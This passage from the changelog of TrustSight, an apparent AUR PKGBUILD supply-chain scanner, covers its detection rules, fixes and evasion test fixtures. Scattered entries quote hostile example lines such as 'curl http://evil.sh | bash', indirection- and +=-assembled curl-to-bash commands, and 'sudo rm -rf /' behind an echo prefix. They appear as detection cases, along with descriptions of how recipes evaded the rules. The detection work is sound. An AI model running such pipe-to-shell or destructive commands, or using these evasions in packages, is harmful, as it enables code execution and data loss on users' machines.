doc cross-references resolvegate now walks everydocs/**link, resolves the file and the anchor, and fails the build on a dangling one. Inline code and fenced blocks are excluded, since a rule pattern such as(?<![^\x00-\x7F])[...]contains](...)and is not a link. - Two
--helptests asserted on styled bytes. Rich renders an option's leading hyphen as its own span, so the literal--repois not in the output even though the flag is there, and which spans Rich splits moves between versions. The assertions now strip styling with the project's ownsafe_text.clean, which makes them width- and version-independent and exercises the sanitiser at the same time. differ.map_diff_linescorrupted filenames.lstrip("b/")strips characters, not a prefix, so+++ b/build.shreported findings againstuild.sh.
Changed¶
docs/contributing/security-review.md, a new page: how to scope a gate so it covers the entry point an attacker reaches, the four times this project got it wrong, and a table of which gates enumerate the whole source and which sample a single path.- Punctuation normalised across the docs to
: ; , () -, with no em dashes, en dashes or spaced--anywhere. Pinned bytest_docs_use_standard_punctuation, because it had drifted back three times. docs/security.mdreorganised around a thesis. The page now opens with the position it is defending (TrustSight is the instrument panel, not the airworthiness certificate; a sensor that was never wired must not read the same as a sensor reporting zero) and the evidence taxonomy that follows from it, before the four parts that make it enforceable. The operative claim is that the tool must never move between taxonomy rows silently, which is what Part B's coverage rules and Part C's gates exist to prevent.--watchis described in Part A. A watch loop changes the volume of fetching, not its shape: per-request bounds still apply, plus an interval floor and an optional cycle count. The absence of any hook or notification command is now stated explicitly, along with the boundary such a hook would need if one is ever added, since it would receive attacker-influenced JSON.docs/security.mdstates its assumptions. The trust boundary is now explicit and complete: the Python runtime, the operating system, local filesystem permissions, the TLS trust store, CI, and the tool's dependencies (rich,pygit2,typer,tldextract, SQLite,libc) are all trusted rather than defended. If any of them is compromised, the page states, the model no longer applies. What was implicit is now the border.- Rendering has no model in it, and that is now a stated invariant. Verdict text is a template keyed by rule id filled with named evidence fields; values are substituted, never re-expanded or evaluated, and no template comes from package-controlled text. The output path therefore has no network dependency, no nondeterminism, and no prompt-injection surface. R012 still detects injection aimed at whoever reads the diff.
- Maturity numbers made exact across the docs.
_MATURITY_THRESHOLDis 50, so the Inconclusive gate atmaturity < 0.5means fewer than 25 recorded analyses. Pages variously said "50 observations" or "approximately 25"; they now say both numbers and how they relate. - Documented claims corrected to match the code. The
source_resolutionfield named in four pages never existed; "no external API is involved" was false (four AUR endpoints, now stated precisely); the Inconclusive predicate was documented as stricter than it is; R122 is documented as having no call site rather than implying corpus-side coverage it does not have; the exit code table claimed a flag-driven exit that was never implemented, anddocs/guides/using-in-ci.mdgated on a JSON shapereview --jsondoes not emit. - The exit-code contract is now enforced, not just documented. An
operational failure exits 2 everywhere:
cli/main()wraps the app so an uncaught failure exits 2 with a message on stderr, and the remaining operationalExit(1)sites (review discovery, inspect not-found, forget prune/abort, override add/remove, db check, lint-rules) now exit 2. Exit 1 is no longer used by any command; a verdict still never changes the exit code.
Added¶
- R132: a command or shell named through
${!name}indirection.C=curl; ${!C} url | bashruns curl while the recipe carries no literal curl and no literal shell for R001/R002/R129/R121 to name, because the tokenizer refuses to evaluate indirection it cannot know statically. Flagging the indirection itself (CRITICAL, obfuscation, stagedanti_analysis) closes that whole family; the benign${!arr[@]}and${!prefix*}key-and-name-listing forms are excluded by construction. - The evasion fixture corpus (
scripts/gen_evasion_fixtures.py). Recipe shapes that bypass the engine are written down before they are closed and kept as the record of what the engine can and cannot yet see. Six original evasions (indirect expansion,+=-accumulated commands and deps, heredoc-fed and heredoc-written recipes), of which five are now detected and relabelled into the recall corpus, plus three new open gaps filed for the rules that will close them: R133 (array-subscript routing), R134 (nameref routing) and R135 (command-substitution spelling). Each fixture enforces its state in both directions: an open gap must fail its label, a relabelled fixture must pass it, so a patch that closes a gap turnsgate_known_gaps_unchangedred instead of leaving a stale record.
Changed¶
- The source-bucket prior scores at its worst URL, not its sum. Each
added URL contributed its bucket modifier individually, so appending the
same suspiciously hosted URL many times (the
discord_arch_electroncase: ~26 entries at +20 each) stacked into CRITICAL on the strength of a single weak fact. The prior is now the maximum modifier over all added URLs: one diff whose provenance is unknown, not thirty separate facts, which restores the calibration separation (benign p95 strictly below malicious p5).homograph_attackstill dominates at +30, and trusted forges still contribute nothing. - The assignment resolver accumulates
+=._ASSIGNMENT_REnow reads the operator:=is a fresh binding,+=appends to the current value (a fresh name starts empty, matching bash). A fetch command assembled acrossC+=curl/C+=' https://…'lines therefore resolves to a literalcurl https://… | bashthat R001 owns, instead of staying an opaque$Cthe literal-matching rules step over. - The synthetic fixtures now validate under the shipped config before
writing.
scripts/gen_malicious_fixtures.pyresolves labels against the same cold-DB,shipped_config()contextscan_maliciousruns in, so a rule that stops detecting fails at generation time, and a fixture whose label was hand-reconciled (R004/R009/R025/R026/R027/R039/R059/R128/R129/R130) can no longer be silently clobbered by a regenerate.
Fixed¶
depends+=was invisible to the dependency rules. Accumulated dependency declarations were never parsed as declarations, so a recipe that appended todependscold showed no finding at all. The generator now keepsevasion-depends-via-plus-eqfiled as an open gap (novelty rules are DB-backed and silent under the gates' cold DB) rather than pretending the parse gap is closed.
[0.11.0] - 2026-07-30¶
Added¶
inspectoutput redesigned. Single Panel with "Rules Triggered" header, Score/Risk at bottom,--score/--riskindependent flags.review--riskflag. Coloured border by risk level and Risk row.- Dedicated "Files changed" section in both review and inspect, showing each file with
+/~/-prefix. override wizard <package>command. Interactive rule suppression per package.- R081 (foreign package manager in install hooks) and R082 (shell obfuscation density ≥3 patterns) graduated from experimental to enabled by default. Zero false positives on a 3243-diff benign corpus.
Changed¶
src/trustsight/analysis.py(1080 lines) refactored intoanalysis/package:base.py,build.py,dependencies.py,maintainer.py,pipeline.py,structural.py,temporal.py.src/trustsight/cli.py(2035 lines) refactored intocli/package:admin.py,app.py,display.py,forget.py,history.py,inspect.py,list_cmd.py,review.py.python-cryptographypromoted from optdepends to hard dependency (resolves namcap warnings about uninstalledcryptographymodule at runtime).packaging/aur/README.mdcorrected:python-tldextractis in theextrarepository, not the AUR.
Fixed¶
fetch_metadata(on_progress=...)signature mismatch. Thereviewcommand passed anon_progresscallback tofetch_metadata()but the function did not accept it, crashing withTypeErrorwhen the metadata-dump download path was taken. Added theon_progressparameter tofetch_metadata().- Nested parameter expansions in PKGBUILD variables now resolve correctly via brace-depth tracking.
__seed__sentinel excluded from user-facing database queries. Unanalyzed packages show-instead of stale seed-derived scores.- Version display contract enforced:
Noneshows as-, unresolvable strings as"unresolved", across all CLI output paths. - Conftest fixture conflict resolved.
[0.10.0] - 2026-07-29¶
Added¶
- Regression tests for metadata-dispatch bugs (first-run sentinel, repo
warnings in metadata path, cross-referencing repos, deduplication).
7 new tests in
tests/test_cli.py. optdependsforpython-cryptographyandpyalpminpackaging/aur/PKGBUILD.- Line mapping for findings.
map_diff_lines()maps diff line indices to file names and line numbers. Findings fromapply_rules()now carryfile/linecontext propagated throughScoreEntryandPackageFact. - Per-file change tracking.
DiffSummary.file_changeslists every changed file with its status (added/removed/modified), excluding.SRCINFOand.gitignore. - Corpus analysis adapter.
analyze_package_text()analyzes raw old/new PKGBUILD text viadifflib.unified_diff, enabling the full-AUR corpus pipeline (no git repository required).
Changed¶
get_installed_from_repo()rewired frompacman -Q --repo(which missed packages not tracked as repo-origin) topacman -Sl <repo>+pacman -Q. The old approach only found packages whosepacman -Qshows an explicit repository name; the new one lists the repo's contents via-Sland cross-references with-Q.- Discovery for
reviewreplaced AUR RPC calls with the local metadata-dump snapshot (full-aur-meta.json, fromfull_aur/metadata.py). Installed versions are compared against snapshot versions viavercmpinstead of per-package AUR RPCinfoqueries. Falls back to the RPC on failure. - Repo warnings split into two distinct messages:
repo 'X' does not exist(whenpacman -Slfails) andrepo 'X' exists but no packages from it are installed(when the repo exists but-Qfinds nothing). _get_installed_packages()now correctly cross-references repo packages and foreign packages, respecting--repo,--foreign, and--all-reposflags. Previous implementation only collected foreign packages when a repo was specified.- First-run sentinel.
_discover_packages()returns(None, 0)on the first metadata fetch so thatreview()does not emit a duplicate "No outdated packages found" message. - Python >=3.11 required.
requires-pythonbumped from>=3.10to>=3.11. Thetomlicompat shim (src/trustsight/_toml.py) and its conditional dependency inpyproject.tomlare removed. All imports use stdlibtomllib. - CI matrix drops Python 3.10.
Fixed¶
- All 3 namcap warnings resolved by removing the
tomlidependency and addingoptdepends.
Removed¶
watchcommand. Removed in favour of runningtrustsight baseline buildvia cron. Thebaseline buildcommand already handles incremental updates (diff + process changed) when a prior metadata snapshot exists. Use--jsonfor machine-parseable cron output.src/trustsight/_toml.pyremoved along with thetomlifallback for Python 3.10.
[0.10.1] - 2026-07-29¶
Added¶
forgetcommand.trustsight forget <package>...removes packages from the local database. Supports--prune(remove packages not in the AUR),--dry-run(preview without deleting), and--yes(skip confirmation). Cascading deletes across 7 database tables. Documented indocs/reference/cli.md.- AUR verification on
inspect. Theinspectcommand now verifies a package exists in the AUR before analysis, with graceful fallback to cached local data when the AUR RPC is unreachable.
Fixed¶
- Nested parameter expansion in PKGBUILD variables. The resolver now
handles constructs like
${srcdir}/${pkgname}-${pkgver}by recursively expanding nested variable references.resolve_expansions()and supporting helpers (_expand_one(),_glob_to_regex(),_strip_affix()) added totokenizer.py. 20 regression tests. __seed__sentinel leaking into listings. The synthetic__seed__package (used for first-run detection) no longer appears inlistoutput or other user-facing queries.get_package_id()andget_package()returnNonefor reserved names;upsert_package()raisesValueError.- Unanalyzed packages showing
0/100 Low. Theinspectandreviewcommands now display-for score and risk when a package has not yet been analyzed, instead of misleading0/100 Low. - Empty version strings shown as
unresolved. Version strings that do not match the plausible-version regex (e.g. unresolved PKGBUILD variables) display asunresolvedin all output paths.
Changed¶
- Test fixture import resolution.
tests/conftest.pyinsertssrc/intosys.pathso that pytest can resolvetrustsightimports without relying on the installed package.
[0.9.0] - 2026-07-28¶
Removed¶
- LLM integration.
src/trustsight/llm.pydeleted; verdicts are now entirely deterministic using rule-specific templates inverdict.py.openai>=1.0and[project.optional-dependencies] ollamaremoved frompyproject.toml. The--simpleflag onreview/inspect, theconfig setupcommand, the[llm]config section, and theTRUSTSIGHT_API_KEY/TRUSTSIGHT_BASE_URLenvironment variables are all removed.
Changed¶
-
Verdicts now deterministic. Each rule description includes its rule ID in brackets, e.g.
"maintainer changed to 'bob' [R071]". Thefallback_verdict()function renders from a_TEMPLATESregistry keyed byrule_id, falling back toentry.reasonif no template exists. -
FATAL verdict punctuation. The second sentence now begins with a capital letter for readability.
-
Packaging. LLM optdepends (
python-openai,ollama) removed frompackaging/aur/PKGBUILDand.SRCINFO.
Fixed¶
- All 12+ documentation files swept of LLM references.
--verboseadded to the commands table inREADME.md.
[0.8.0] - 2026-07-27¶
Added¶
-
Full-AUR corpus builder.
trustsight baseline buildfetches the AUR metadata archive, downloads PKGBUILDs via cgit with snapshot tarball fallback, runs the full analysis pipeline, and persists results. Progress is saved every 1000 packages for--resume.trustsight baseline importmerges a signed corpus artifact into the local database.trustsight watchpolls the AUR metadata on a configurable interval and analyses only the changed packages, optionally firing alert hooks. -
Property stability tracking. Eleven per-package, per-key property dimensions are recorded on every analysis with a SHA-256 value hash and a
stable_for_ncounter (accumulates on identical observations, resets on change). Feeds longitudinal rules R094-R102. -
Canonical reproducible serialisation.
canonical_artifact_bytes()produces byte-identical output from the same corpus inputs. The signed payload records the ruleset version, scorer version, and corpus cutoff in a deterministic manifest. -
ed25519 artifact signing.
build_artifactaccepts--sign KEY.import_baseline()verifies against the shipped public key and refuses unsigned artifacts by default (--allow-unsignedfor local builds). -
config setupinteractive wizard. Walks through provider choice (openai, ollama), endpoint, API key (masked), model name, and connection test. -
--simpleflag onreviewandinspectto skip the LLM verdict. -
First-run welcome banner. Shown on first
reviewwhen the novelty seed is imported, printing config path, database path, and next-step suggestions. -
config setextended.model,timeout, andproviderkeys now accepted alongsideapi_keyandbase_url.
Changed¶
-
TemporalContext unifies both analysis paths. The git-based and corpus-based paths share a single
TemporalContextparameter that declares the clock source (git_commit,aur_metadata,observation_history) rather than deriving timestamps internally. The clock source is recorded on everyPackageFactastemporal_source. -
historysuggestsinspectfor unanalysed packages. Instead of"not found in history", now says"Run 'trustsight inspect X' first."
Fixed¶
- LLM verdict always used in
inspect. Previously calledfallback_verdict()unconditionally instead ofgenerate_verdict(). - API exceptions and suppressed verdicts now logged at
warninglevel. Previouslydebugmade them invisible.
[0.7.2] - 2026-07-27¶
Added¶
-
New CLI commands.
trustsight listlists all packages tracked in the database with their latest score, risk, version, and maintainer.trustsight statusshows database health statistics (packages tracked, total analyses, effective observations, dependency corpus status). -
Database maintenance commands.
trustsight db checkrunsPRAGMA integrity_check.trustsight db vacuumreclaims disk space from deleted rows.trustsight db backupcreates a safe online backup viasqlite3.backup()without stopping the application. -
AUR RPC response cache. A new
aur_cachetable stores AUR version lookups so repeated reviews do not re-query the AUR server. Config key[discovery] cache_ttl_minutescontrols freshness (default: 60 minutes; set to 0 to disable). -
inspect --verboseflag. Threaded through to both the rich and plain output paths. In JSON mode it includes the score breakdown in the output. -
PRAGMA busy_timeout=5000. The database connection now retries locked writes for 5 seconds instead of raisingOperationalError: database is lockedimmediately.
Changed¶
-
Pipelined analysis and LLM verdicts. The batch-review path replaced its serial analysis loop with a
ThreadPoolExecutorwhere each task runsanalyze_package()followed immediately by_verdict_for()in the same thread. Analysis and LLM calls now overlap across workers instead of running strictly sequentially, reducing wall time by roughlymin(total_analysis, total_llm)seconds. -
AUR RPC queries are cached.
get_aur_package_info()checks the local cache before making HTTP requests; only packages not in cache (or whose cache entry has expired) reach the AUR server.
Fixed¶
_run_analysis_loop()output indentation. The rich-table and plain-text output branches were nested insideif json_output:(after itsreturn), making them dead code. Restructured into a clean three-way branch.
[0.7.1] - 2026-07-27¶
Added¶
-
Database schema migration for
current_maintainer. A migration step (_migrate+_ADDED_COLUMNS) now safely adds columns that were introduced after the initial schema shipped. Existing databases created beforecurrent_maintainerexisted will have it added on the first run, fixing a crash on upgrade. -
Concurrent prefetch of AUR repositories. The batch-review path clones or fetches all package repos in parallel before beginning analysis, so the network latency of 20 sequential fetches no longer dominates the runtime.
-
AUR RPC helpers.
get_aur_package_infoandget_aur_latest_versionsbatch-query the AUR RPC interface, replacing individual per-package lookups and reducing network round-trips. -
Drift detection for shipped rules.
drifted_shipped_rules()compares the on-diskrules.tomlagainst the shipped template, flagging when a rule definition has drifted from the canonical copy. -
diff_truncatedfield onPackageFact. Marks analyses where the diff was truncated, so the report can indicate the change was only partially examined. -
_prefetchuniqueness invariant. An assertion guarantees that_prefetchreceives unique package names, preventing redundant parallel clones. -
Test fixtures shared via
conftest.py.SHARED_RULES(R001-R013) andSHARED_CONFIG(five top-level keys) are now defined once and imported bytest_analysis.py,test_rules.py,test_scenarios.py, andtest_scoring.py, removing 173 lines of duplication across four test files.
Fixed¶
-
IDN homograph false positive.
has_homograph()no longer flags single-script labels containing non-ASCII Latin letters or combining marks. Only mixed-script labels are confusables per UTS #39 Highly Restrictive. Legitimate IDNs likemünchen.deandcafé.frare no longer reported. The_latin_with_combining_marks()helper was removed entirely. -
PKGBUILD
check()function. Now builds a venv with--system-site-packages, installs the built wheel, and runs pytest (excludingtest_fetcher.pyandtest_rebaseline.py). The previous barepython -m pytestcall failed against an uninstalled source tree.
Changed¶
-
Thread-local connection caching. Database connections are cached per thread and per database path rather than opened per query. The hot paths issue thousands of small reads; opening a connection once instead of per query reduces overhead from ~0.35ms to effectively zero on repeat use.
-
_is_currentuses HEAD commit time as fallback. When no marker file exists (clones from earlier versions), the local HEAD commit time is compared againstupstream_mtime. This eliminates a redundantgit fetchfor every package whose clone is already up to date, cutting the batch-review wall clock from ~2min to ~3s for a 19-package run. -
_ensure_initruns init once per process.ensure_default_configs()andinit_db()are now called at most once per process via a module-level guard. Previously they ran on everyanalyze_package()call, adding ~100-200ms per package. -
R066 (
_package_is_new) capped at 100 commits. The brand-new-package check previously walked the entire DAG to find the root commit. Packages with more than 100 commits are now skipped (they are definitionally not new), eliminating full-history walks that cost ~30-50s for packages with thousands of commits. -
Lazy
__version__loading. The version string is now loaded via PEP 562__getattr__instead ofimportlib.metadata.version()at import time, avoiding a 46ms penalty on everyimport trustsight. -
Pattern cache in
rules.py. Compiled regex patterns are cached across diffs, avoiding repeatedre.compilecalls that dominated the diff-analysis hot path. -
Typosquat detection uses
top_dependency_pairs(). The rank-and-compare loop now fetches name-count pairs in a single query instead of running one query per candidate, fixing a performance regression on large databases.
Removed¶
-
Dead code and duplicate patterns.
parse_srcinfo_with_pkgbase(uncalled) and several unreachable lines insrcinfo.pywere removed._PINNING_ORDERwas unified inbuckets.py;risk_level()is now the single source of truth across all callers. -
.seo-debug/tracked artifacts. Documentation JSON files committed by a prior zensical run are removed from the index and gitignored.
Style¶
- Ruff E402 violations resolved.
log = logging.getLogger(__name__)was moved below all imports inanalysis.pyandllm.py. Exception handlers inoverride.pywere narrowed fromexcept BaseExceptiontoexcept Exception.
Documentation¶
- Docstrings added to all 124 functions across 19 source files, covering every public and private function including inner closures.
Build¶
.gitignoreupdated for makepkg artifacts.packaging/aur/pkg/,packaging/aur/src/,*.tar.gz, and*.pkg.tar.*are now ignored.
[0.7.0] - 2026-07-26¶
Added¶
- Temporal context rules (R065-R067). Three new code-emitted rules that inspect git commit timestamps on the AUR repository rather than diff content. All are on by default with no config toggle.
| Rule | Name | Severity | Condition |
|---|---|---|---|
| R065 | Very Recent Update | INFO (w 0) | HEAD commit < 72 h old |
| R066 | Brand New Package | INFO (w 0) | First AUR commit < 30 days old |
| R067 | Stale Package Revived | MEDIUM (w 15) | Gap to last analyzed commit > 365 days |
- Install, build, and maintainer rules (R068-R073). Six new code-emitted rules that inspect install hooks, GPG verification removal, build environment subversion, maintainer takeovers, capability density, and release cadence.
| Rule | Name | Severity | Category | Condition |
|---|---|---|---|---|
| R068 | Install Hook Present | INFO (w 0) | context | PKGBUILD declares install= or diff touches *.install |
| R069 | GPG Verification Removed | HIGH (w 25) | integrity | validpgpkeys populated before, empty/absent after |
| R070 | Build Environment Subversion | HIGH/MEDIUM (w 25/15) | build | LD_PRELOAD/LD_LIBRARY_PATH (HIGH) or CFLAGS/LDFLAGS/MAKEFLAGS/PATH (MED) set inside build fn |
| R071 | Untrusted Maintainer Takeover | HIGH (w 25) | maintainer | maintainer changed + new maintainer globally novel |
| R072 | Capability Density Anomaly | INFO (w 0) | meta | rule hits span 3+ distinct categories |
| R073 | Accelerated Release Cadence | metadata (never scored) | temporal-metadata | HEAD has 3+ ancestors in the last 24 h |
All R068-R073 are always on, gated only by diff content or database maturity rather than an experimental flag.
- Naming and dependency-set rules (R074-R075). Two new code-emitted rules that detect package-name typosquatting and aggregate dependency-set expansion.
| Rule | Name | Severity | Category | Condition |
|---|---|---|---|---|
| R074 | Package-Name Typosquat | HIGH (w 25) | naming | name within edit-distance 2 of a far-more-popular package, not a variant |
| R075 | Dependency-Set Expansion | MEDIUM (w 15) | dependency | diff adds 3+ deps whose count x mean-rarity exceeds gate |
Both are always on, gated only by a cold-start maturity check. R074 uses seed popularity data and requires a warmed database; R075 is fully corpus-calibratable.
- Fire rates measured for R068-R075. Measured against the 3246-diff benign corpus. R068 (20.95 %), R069 (0.03 %), R070 (0.25 %), R072 (15.87 %), R074 (1.12 % package-scan), R075 (0.34 %). All scored rules pass the 30 % gate. R071/R073 require live git history and are marked TBD in fire-rates.md.
Fixed¶
- Crash bugs in the analysis pipeline and CLI. Seven fixes that prevented the tool from crashing on unusual package states or missing dependencies:
| ID | Issue | Fix |
|---|---|---|
| B1 | pygit2.GitError raised NameError at runtime because pygit2 was not imported in analysis.py |
Added import pygit2 (not just a type stub) |
| B2 | generate_diff crashes on stale commit OIDs that produce None commits |
Guard against None before accessing .tree |
| B3 | get_head_commit propagates GitError for empty/unborn repos |
Wrapped in try/except, returns "" on failure |
| B4 | One bad package in a batch aborts the entire scan | Per-package try/except around analyze_package in CLI loop |
| B5 | Tool crashes on startup when rich is not installed |
Guard console() and all fallback paths with HAS_RICH checks |
| B6 | Seed-import message leaks into JSON stdout with --json |
Pass quiet=True to maybe_auto_import_seed in JSON mode |
| B10 | _simple_vercmp compares version parts lexicographically (e.g. 9 > 10) |
Parse as integers before comparison |
python -m trustsightsupport. Addedsrc/trustsight/__main__.pyso the tool works withpython -m trustsightin addition to the installed script.
[0.6.1] - 2026-07-25¶
Changed¶
- Eight experimental rules promoted to enabled by default. D001, D002, D003,
D004, R061, R062, R063, and R064 now default to
truein both the config template and the code fallback. Users who already have an[experimental_rules]section in theirconfig.tomlare unaffected and keep their existing setting; users without the section pick up the new defaults automatically.
Fire rates (false-positive rates on the 3246-diff benign corpus) that justified the promotion:
| Rule | Severity | Rate | Fires |
|---|---|---|---|
| D001 | HIGH | 0.15 % | 5/3246 |
| D002 | HIGH | 0.00 % | 0/3246 |
| D003 | MEDIUM | 0.46 % | 15/3246 |
| D004 | HIGH | 0.00 % | 0/3246 |
| R061 | HIGH | 0.22 % | 7/3246 |
| R062 | HIGH | 0.09 % | 3/3246 |
| R063 | HIGH | 0.00 % | 0/3246 |
| R064 | MEDIUM | 0.03 % | 1/3246 |
See Fire Rates for the full reference.
- Baseline regenerated with the new defaults. The eight rules now appear
in per-stratum fire-rate records. Aggregate metrics (
zero_pct,p95) shifted slightly as expected; the baseline is the new reference.
Added¶
- Fire Rates documentation page (
docs/explanation/fire-rates.md). Explains how fire rates are measured, the two corpora, the 30 % demotion gate, and per-rule tables for core, expanded, D-series, and build-function rules.
Added¶
- Four more supply-chain rules, all off by default, each measured against the 3246-diff benign corpus before being designed. D004 0.00 %, R062 0.09 %, R063 0.00 %, R064 0.03 %.
- D004 (HIGH)
provides/replacesclaims an established package unrelated to this one, installing it in front of the real thing. Variants (htop-vim→htop) and siblings (linux-cachyos→linux-headers) are suppressed, but a shared ecosystem prefix is not:python-evilclaimingpython-requestsstill fires, because thousands of unrelated packages sharepython-. "Established" ispacman -Slq, falling back toobservation_count. - R062 (HIGH) a
.installhook that fetches or performs a privileged operation. Hooks run as root at install time. Needed no new parsing:generate_diff()already includes*.installpatches and_classify_enclosing_function()recognisespost_install()like any other function. - R063 (HIGH) a patch applied from a URL, an absolute path, or process substitution.
- R064 (MEDIUM) a
source=URL downgraded fromhttpstohttp.extract_source_array_urls()gained asideparameter so both sides of the diff can be compared.
- D004 (HIGH)
- D-series dependency-graph rules, closing part of the documented build-dependency blind spot. All are off by default under a new
[experimental_rules]config section, sobaseline.jsonis unaffected until they are deliberately enabled.- D001 (HIGH) novel dependency: a name never observed anywhere in the AUR. Backed by a new
dependency_namestable seeded from every dependency entry plus every package name andprovidesalias, without which a real package that nothing else depends on would read as novel. Silent on an unseeded database rather than flagging everything. - D002 (HIGH) typosquatted dependency, e.g.
openss1foropenssl. Refines D001 and is reported in its place. - D003 (MEDIUM)
makedependsgains a network-capable tool, so the build can fetch code no checksum covers.
- D001 (HIGH) novel dependency: a name never observed anywhere in the AUR. Backed by a new
- R060 is now INFO (weight 0) and on by default. It fires on 21.4 % of benign diffs because maintainers rewrite build functions routinely, and no narrowing reaches triage quality: restricting to an unchanged
pkgverstill leaves 11.6 %, and the "version bump that also editsbuild()" case it was proposed for is 9.8 %. At weight 0 it reports context to a reviewer without touching any score. - R061 (HIGH) a download inside a build function whose URL is absent from
source=(). Off by default. scripts/generate_seed.pyrecords dependency names from the.SRCINFOit already reads, so seeding costs no extra I/O.normalize_dependencyis shared with the runtime lookup: were the two to normalise differently, every query would miss and every dependency would look novel.tokenizer.resolve_added_lines()returns resolved lines with positions intact, so a rule can still resolve variables and know its enclosing function. Resolution alone discards that.- The bundled seed is regenerated and now carries 209,909 dependency names alongside 179,956 URLs and 35,903 maintainers.
seed.db.gzgrows from 13.0 MB to 19.9 MB.
Fire rates against the 3246-diff benign corpus, so these are false-positive rates: D001 0.15 %, D002 0.00 %, D003 0.46 %, D004 0.00 %, R061 0.22 %, R062 0.09 %, R063 0.00 %, R064 0.03 %, R060 21.4 %. R060 is the outlier by design, marking any edit to a build function; at weight 5 it cannot reclassify a package alone but it moves benign p95 more than the other four together, so it deserves a separate decision from the rest.
Fixed¶
_EXPERIMENTAL_DEFAULTSinanalysis.py.load_config()reads the user'sconfig.tomlverbatim and never merges new defaults in, so an existing install would never have seen[experimental_rules]and R060 would have been dead for every upgrade. Defaults now live in code, with the config file overriding them.- D004 did nothing when enabled on its own. It shared a guard clause that only tested D001-D003, so the whole dependency block returned early unless one of those was also on. Covered by a test that enables each rule in isolation.
- The dependency extractor read shell code as dependency names. An unbounded fallback for unquoted array entries pulled
if,[[, and!out of apackage()body, and comments inside dependency arrays contributed every word of the note (required,because,disabled). Together these put D001 at 5.95 % against a true rate of 0.15 %. Array termination is now quote-aware and bounded, tokens are validated against the Arch package-name grammar, and comments are stripped. resolve_added_lines()shifted every line after an assignment. It zipped its output againsttokenize_and_resolve(), which omits assignment lines, so any added assignment made the two sequences different lengths. An array header could vanish and a rule scoped tobuild()could be handed the wrong function. Substitution is now applied per line from a shared variable table, whichtokenize_and_resolve()also uses so the two cannot diverge.- The release workflow could not commit its result. The
Commit to the default branchstep failed withfatal: not in a git directory, despiteactions/checkouthaving rungit initin the workspace normally. Rather than fight the container's git, the workflow is now split:makepkgwork (checksum,--verifysource,--printsrcinfo) runs in the Arch container and handsPKGBUILDand.SRCINFOover as an artifact, and a second job on the standard runner does the commit.include-hidden-filesis set on the upload, since.SRCINFOis a dotfile and would otherwise be silently dropped. Aconcurrencygroup stops two releases racing on the same branch. packaging/aur/PKGBUILDcarried the wrong checksum. Because the release workflow never completed,pkgverhad been bumped to 0.5.1 whilesha256sumsstill held the v0.5.0 tarball's hash, somakepkg -sifailed validation for anyone following the documented install. Corrected to the real v0.5.1 hash and verified withmakepkg --verifysource;.SRCINFOregenerated to match.
[0.5.1] - 2026-07-25¶
Added¶
.github/workflows/release-pkgbuild.yml: on av*tag, downloads the generated source tarball, computes its sha256, and writespkgver,pkgrel, andsha256sumsintopackaging/aur/PKGBUILDon the default branch, regenerating.SRCINFOwithmakepkg --printsrcinfo. The PKGBUILD shipped to users therefore never carriesSKIP. The checksum is validated withmakepkg --verifysourcebefore the commit, so a wrong hash fails the release rather than reaching a user.
The update lands on the default branch and the tag is never moved. GitHub generates the tarball from the tree the tag points at, so amending the tag would change the tarball and invalidate the checksum just computed.
Fixed¶
packaging/aur/.SRCINFOwas stale: it declaredpkgver = 0.3.0, an all-zerosha256sums, and omitted thepython-typerdependency the PKGBUILD requires. Regenerated, and now kept current automatically by the release workflow.
[0.5.0] - 2026-07-25¶
Added¶
scripts/build_corpus.py --from-manifest: rebuilds the exact corpus recorded incorpus.lockinstead of re-selecting packages by AUR popularity. Fetches only the branches named in the lock into an empty bare repo, so reconstruction takes minutes rather than requiring a full clone of the AUR monorepo. This is what lets CI materialise the corpus, which is gitignored and therefore never present on a fresh checkout.
Security¶
- A message prefix disabled every scoped rule. Any line starting with
echo/printf/msg/ followed by a quote was classified as an inert "message" in its entirety, but a shell line does not end at its first command.echo "x"; sudo rm -rf /scored 0 wheresudo rm -rf /scored 40, so a seven-character prefix switched off R009 (CRITICAL), R010, and R011. Message context now requires the line to contain no command separator (;,&,|) or substitution ($(, backtick). - Line continuations bypassed the CRITICAL pipe-to-shell rules. Rules match one line at a time, so splitting
curl http://evil.sh | bashacross a trailing backslash left R001/R002 with only acurl \fragment, dropping the score from 65 to 25. Continuations are now joined into one logical line before matching, for both the raw and resolved paths. - Variable resolution never ran inside function bodies. The tokenizer's assignment pattern was anchored at
^(\w+)=, so any indented assignment (that is, every assignment inside a function) was skipped and the variable table stayed empty.C=curlfollowed by$C http://evil.sh | bashresolved to nothing and defeated every rule matching resolved strings, scoring 20 against a baseline of 65. Assignments are now recognised when indented and when introduced bylocal/export/declare/readonly/typeset. - One-line function bodies escaped function scoping.
package() { curl evil | bash; }was classified before the depth counter advanced, so the line read asotherandfunction_body-scoped rules skipped it; the counter was also left raised for everything that followed. ..passed package-name validation and could delete the cache root._VALID_PKG_NAMEaccepted.and.., sorepo_path("..")resolved to the parent of the repo cache, whichclone_or_fetchthen passed toshutil.rmtreewhen it failed to open as a repository. Both names are now rejected, andrepo_pathadditionally asserts the resolved path is directly inside the cache root.discovery.fetch_package_infointerpolated the package name straight into the RPC query string; an unescaped&or#could inject or truncate parameters. It now usesurlencode, matchingget_aur_latest_versions.
Fixed¶
- Mirror Integrity Check never ran. The
Alert on failurestep's script block was mis-indented, makingmirror-check.ymlunparseable; every run failed during workflow startup. The workflow now also reconstructs the corpus before verifying it, rather than assuming a directory that cannot exist in CI. - Corpus Drift Detection failed with
Corpus not foundfor the same reason, and now rebuilds the corpus from the lock first (caching the fetched AUR objects). - Corpus diffs were not reproducible across machines.
gitscales the abbreviation length inindex <old>..<new>lines to a repository's object count, so a sparse clone emitted 7-character hashes where the full mirror emitted 12: byte-different diffs for identical commits, invalidatingcorpus_content_sha256.core.abbrevis now pinned to 12 and recorded in the lock. - Overlapping strata double-counted diffs. A package matching two strata (
python-foo-gitmatches bothlang_ecosystemandvcs_git) was walked once per stratum, and both entries were kept, inflating per-stratum fire rates. Entries are now deduplicated at lock-write time, keeping the last stratum to match the overwrite order the corpus on disk already had.corpus.lockdrops from 3332 to 3246 entries with no change to the corpus itself. corpus.lockrecordedstrata_fileas an absolute path from the generating machine.- Drift reports are no longer passed through a
GITHUB_OUTPUTheredoc, whose delimiter could be forged by diff content and whose payload could exceed the 1 MB output limit. Both workflows also suppress duplicate issues instead of filing one per run.
Documentation¶
re-baselining.mddescribed behaviourrebaseline.pydoes not have: it does not check out the corpus, does not validate CI gates, and reports nop5/p50. Strata are package shapes, notbenign/malicious/synthetic. Corrected, and the required corpus-reconstruction step added.writing-a-rule.mdreferenced a--check-fire-rateflag that does not exist, and the wrong corpus path.- Installation is now documented as a single path:
